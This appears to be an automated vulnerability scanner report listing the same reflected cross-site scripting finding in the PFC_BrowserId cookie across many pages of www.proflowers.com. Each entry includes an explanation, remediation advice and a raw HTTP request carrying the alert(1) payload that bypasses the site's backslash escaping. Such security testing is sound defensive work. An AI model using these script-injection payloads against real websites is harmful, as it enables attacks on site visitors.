HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:37 GMT Connection: close Content-Length: 210955
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64bf8\"%3balert(1)//0ed0fc9d0a1 was submitted in the PFC_BrowserId cookie. This input was echoed as 64bf8\\";alert(1)//0ed0fc9d0a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /landingpress.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d64bf8\"%3balert(1)//0ed0fc9d0a1; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:34 GMT Connection: close Content-Length: 44955
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]...
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 607e4\"%3balert(1)//87d2aa33000 was submitted in the PFC_BrowserId cookie. This input was echoed as 607e4\\";alert(1)//87d2aa33000 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /lilies-lil HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d607e4\"%3balert(1)//87d2aa33000; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:01 GMT Connection: close Content-Length: 157018
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a9285\"%3balert(1)//af07c8ae108 was submitted in the PFC_BrowserId cookie. This input was echoed as a9285\\";alert(1)//af07c8ae108 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /mrs-fields-cookies-mrs HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0da9285\"%3balert(1)//af07c8ae108; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:52 GMT Connection: close Content-Length: 118631
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2bd9\"%3balert(1)//a7ddc6720c3 was submitted in the PFC_BrowserId cookie. This input was echoed as e2bd9\\";alert(1)//a7ddc6720c3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /new-baby-flowers-bab HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0de2bd9\"%3balert(1)//a7ddc6720c3; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:08:27 GMT Connection: close Content-Length: 206973
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 978dc\"%3balert(1)//ad5374f9d7b was submitted in the PFC_BrowserId cookie. This input was echoed as 978dc\\";alert(1)//ad5374f9d7b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /orchids-orc HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d978dc\"%3balert(1)//ad5374f9d7b; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:15 GMT Connection: close Content-Length: 108388
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 939e0\"%3balert(1)//cca5d731a61 was submitted in the PFC_BrowserId cookie. This input was echoed as 939e0\\";alert(1)//cca5d731a61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /organic-org HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d939e0\"%3balert(1)//cca5d731a61; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:43 GMT Connection: close Content-Length: 93320
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9536b\"%3balert(1)//893a4566005 was submitted in the PFC_BrowserId cookie. This input was echoed as 9536b\\";alert(1)//893a4566005 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /pink-flowers-sgk HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d9536b\"%3balert(1)//893a4566005; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:08 GMT Connection: close Content-Length: 79226
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6e805\"%3balert(1)//1231f313974 was submitted in the PFC_BrowserId cookie. This input was echoed as 6e805\\";alert(1)//1231f313974 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /portalslanding.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d6e805\"%3balert(1)//1231f313974; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:06:00 GMT Connection: close Content-Length: 147037
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2e89\"%3balert(1)//06a45971586 was submitted in the PFC_BrowserId cookie. This input was echoed as e2e89\\";alert(1)//06a45971586 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /potted-garden-gar HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0de2e89\"%3balert(1)//06a45971586; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:48 GMT Connection: close Content-Length: 86215
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4224\"%3balert(1)//c1ad7bdf508 was submitted in the PFC_BrowserId cookie. This input was echoed as b4224\\";alert(1)//c1ad7bdf508 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /potted-roses-prp HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0db4224\"%3balert(1)//c1ad7bdf508; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:50 GMT Connection: close Content-Length: 80389
The value of the PFC_BrowserId cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18367\"%3balert(1)//9f07bc600d1 was submitted in the PFC_BrowserId cookie. This input was echoed as 18367\\";alert(1)//9f07bc600d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
